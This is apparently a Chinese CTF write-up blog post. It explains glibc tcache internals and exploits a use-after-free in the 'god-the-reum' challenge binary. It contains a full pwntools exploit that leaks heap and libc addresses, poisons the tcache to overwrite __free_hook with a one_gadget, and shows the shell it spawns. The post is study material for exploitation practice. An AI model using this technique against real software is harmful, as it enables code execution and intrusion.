Tcache学习-god-the-reum
2019/03/04

Tcache struct

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

Tcache_get/Tcache-put

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e; //增加到链表头部
  ++(tcache->counts[tc_idx]);  //记录当前 bin 的 chunk数
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

tcache_put

用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nbchunk 的大小)。

它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx]1 ,表示新增了一个 chunk 到 该 表项。

tcache_get

根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)

仅仅检查了 tc_idx 并无做更多检查 可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂。

tcache_poisoning

通过修改 free 状态的 tcache 里面的 chunk 的 fd (其实就是 tcache_entry->next ) ,可以分配到任意地址

tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size。

一个 tcache bin 中的最大块数mp_.tcache_count7

/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

具体知识点参考阅读

https://www.secpulse.com/archives/71958.html

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning

### 题目分析

case 1u:
       v3 = &v5[16 * dword_20202C];
       create_size((void **)v3);
       break;
     case 2u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       save((__int64)v3);
       break;
     case 3u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       delete_free((__int64)v3);
       break;
     case 4u:
       v3 = v5;
       print_all((__int64)v5);
       break;
     case 5u:
       puts("bye da.");
       return 0LL;
     case 6u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       developer((__int64)v3);
       break;
     default:
       sub_11B3(v3);
       break;

运行对比可以知道

主要有创建、储存、删除、打印、退出、以及隐藏功能 修改地址

creat_size

if ( !s || dword_20202C > 4 )
  {
    puts("wallet creation failed");
    exit(0);
  }
  memset(s, 0, 0x82uLL);
  v1 = (char *)s + strlen((const char *)s);
  *(_WORD *)v1 = 30768;
  v1[2] = 0;
  v2 = time(0LL);

  printf("how much initial eth? : ", 0LL);
  __isoc99_scanf("%llu", &size);
  v3 = size;
  v5[1] = (__int64)malloc(size);
  if ( v5[1] )
    *(_QWORD *)v5[1] = size;
  ++dword_20202C;
  sub_119B(v3);
  puts("Creating new wallet succcess !\n");

代码有删减

size可控 主要功能 创建一个size可控的chunk

delete


  v3 = __readfsqword(0x28u);
  printf("how much you wanna withdraw? : ");
  __isoc99_scanf("%llu", &v2);
  **(_QWORD **)(a1 + 8) -= v2;
  if ( !**(_QWORD **)(a1 + 8) ) //判断是否为0 如果为0则执行free
    free(*(void **)(a1 + 8)); //uaf

  puts("withdraw ok !\n");
  return __readfsqword(0x28u) ^ v3;

这里free以后没有清空指针 导致存在uaf漏洞

int i; // [rsp+1Ch] [rbp-4h]

sub_119B(a1);
puts("========== My Wallet List =============");
for ( i = 0; i < dword_20202C; ++i )
{
  printf("%d) ", (unsigned int)i);
  sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD **)(16LL * i + a1 + 8));
}
return putchar(10);
int __fastcall sub_FD5(__int64 a1, _QWORD *a2)
{
  return printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

打印所有chunk id 及内容

developer

__int64 __fastcall developer(__int64 a1)
{
  sub_119B(a1);
  puts("this menu is only for developer");
  puts("if you are not developer, please get out");
  sleep(1u);
  printf("new eth : ");
  return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8)); //修改chunk
}
`

可以修改chunk

思路

存在uaf漏洞 所以要从这里入手

首先给定libc 2.27 存在了tcache所以leak方式需要改变

1、how to leak

首次执行double free后 打印会泄漏出heap地址

exp

create(0x100)
create(0x110) #多加一个chunk可以防止top chunk回收
delete(0,0x100)
delete(0,0)  #double free leak heap_base
prints()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
调式结果

python exp.py

[*]  how much you wanna withdraw? :
[*]  withdraw ok !

    ====== Ethereum wallet service ========
    1. Create new wallet
    2. Deposit eth
    3. Withdraw eth
    4. Show all wallets
    5. exit
    select your choice :
0x564a72bee2f0

利用gdb查看当前heap地址

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x564a718e1000     0x564a718e3000 r-xp     2000 0      /home/ios/god-the-reum
    0x564a71ae2000     0x564a71ae3000 r--p     1000 1000   /home/ios/god-the-reum
    0x564a71ae3000     0x564a71ae4000 rw-p     1000 2000   /home/ios/god-the-reum
    0x564a72bee000     0x564a72c0f000 rw-p    21000 0      [heap]
    0x7f92acc4d000     0x7f92ace34000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f92ace34000     0x7f92ad034000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so

因为leak了一次heap地址填充了1次tcache 所以再次填充6次即可填满tcache 之后free掉的chunk会进入unsorted bin 接着利用print_all 打印出当前bin的fd 即可leak main_arena从而得到libc_base

这里需要掌握的知识

how to leak libc

unsort bin是双向链表,如果只有一个chunk fd和bk都是main_arena+偏移。如果是多个就按照双向链表链起来(头和尾都是main_arena+偏移)

需要利用uaf+print配合

填充满tcache后查看当前heap

pwndbg> heap
0x563b2fd6b000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x700000000000000, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x563b2fd6b250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 145, 
  fd = 0x3461373737367830, 
  bk = 0x3463613331616535, 
  fd_nextsize = 0x3630333238336564, 
  bk_nextsize = 0x3139613439306631
}
0x563b2fd6b2e0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 273, 
  fd = 0x7ffab2fc9ca0 <main_arena+96>, 
  bk = 0x7ffab2fc9ca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

可以看到该chunk fd bk都指向main_arena+96

可以利用 p main_arena查看当前main_arena_addr

d0 <main_arena+1680>...}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7ffab2fc9c40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

可以得到main_arena

利用vmmap 查看当前加载libc基地址

0x563b2fd6b000     0x563b2fd8c000 rw-p    21000 0      [heap]
0x7ffab2bde000     0x7ffab2dc5000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so

由于程序多次执行 导致地址发生变化== 此处计算offfset为同一进程

pwndbg> p/x 0x7ffab2fc9c40-0x7ffab2bde000
$2 = 0x3ebc40
pwndbg>

0x7ffab2bde000 这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的

加载地址会变但是这个偏移是不会变的,这样可以获取到远程的libc的加载地址

所以得到main_arena地址就可以计算libc_base了

leak libc

for i in range(6):
   delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset

这里减96时因为main_arena地址在这个位置

0x563b2fd6b2e0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 273, 
  fd = 0x7ffab2fc9ca0 <main_arena+96>, 
  bk = 0x7ffab2fc9ca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

因为offset = main_arena-libc_addr

所以libc_base = main_arena-offset

one_gadget

这里有个不明白的地方,在使用one_gadget时查找libc-2.28.so会直接报错 所以这里使用的libc-2.27.so进行做题的~~

ios@Sec:~$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
ios@Sec:~$

exp编写

有了libc base 就可以直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。创建一个不大于0x408的chunk,free掉后即可进入tcache,可以修改tcache的fd为free_hook的地址,进行两次分配后,即可分配到free_hook的地址,再次使用developer的隐藏功能直接把free_hook改成onegadget即可getshell

exp

from pwn import *

p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def create(idx):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('1')
    log.info(p.recvuntil('how much initial eth? :'))
    p.sendline(str(idx))
def delete(idx,c):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('3')
    log.info(p.recvuntil('input wallet no :'))
    p.sendline(str(idx))
    log.info(p.recvuntil('how much you wanna withdraw? :'))
    p.sendline(str(c))

def prints():
    log.info(p.recvuntil('select your choice :'))
    p.sendline('4')
def dev(idx,c):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('6')
    log.info(p.recvuntil('input wallet no :'))
    p.sendline(str(idx))
    log.info(p.recvuntil('new eth :'))
    p.sendline(str(c))

create(0x100)#0
create(0x110) #1//防止合并
delete(0,0x100)#free 0 all
delete(0,0)  #满足free条件后 double free 
prints() #leak heap
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
#gdb.attach(p)
#填满 tcache 7 上方以填入一次 所以这里填充6次即可
for i in range(6):
   delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
#print hex(main_arena)
gdb.attach(p)

#gdb.attach(p)
free_hook = libc_base+libc.sym['__free_hook']
print hex(free_hook)

delete(1,0x110)
dev(1,p64(free_hook))
create(0x110) 
create(0x110)
one_gadget=libc_base+0x4f322
dev(3,p64(one_gadget))
delete(2,0x110)
p.interactive()

run

4. Show all wallets
5. exit
select your choice :
[*]  input wallet no :
[*]  how much you wanna withdraw? :
[*] Switching to interactive mode
 $ ls
1.py Documents       exp.py         Music     pwntools
core Downloads       god-the-reum      Pictures  Templates
Desktop  examples.desktop  god-the-reum.nam  PublicVideos
$
请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!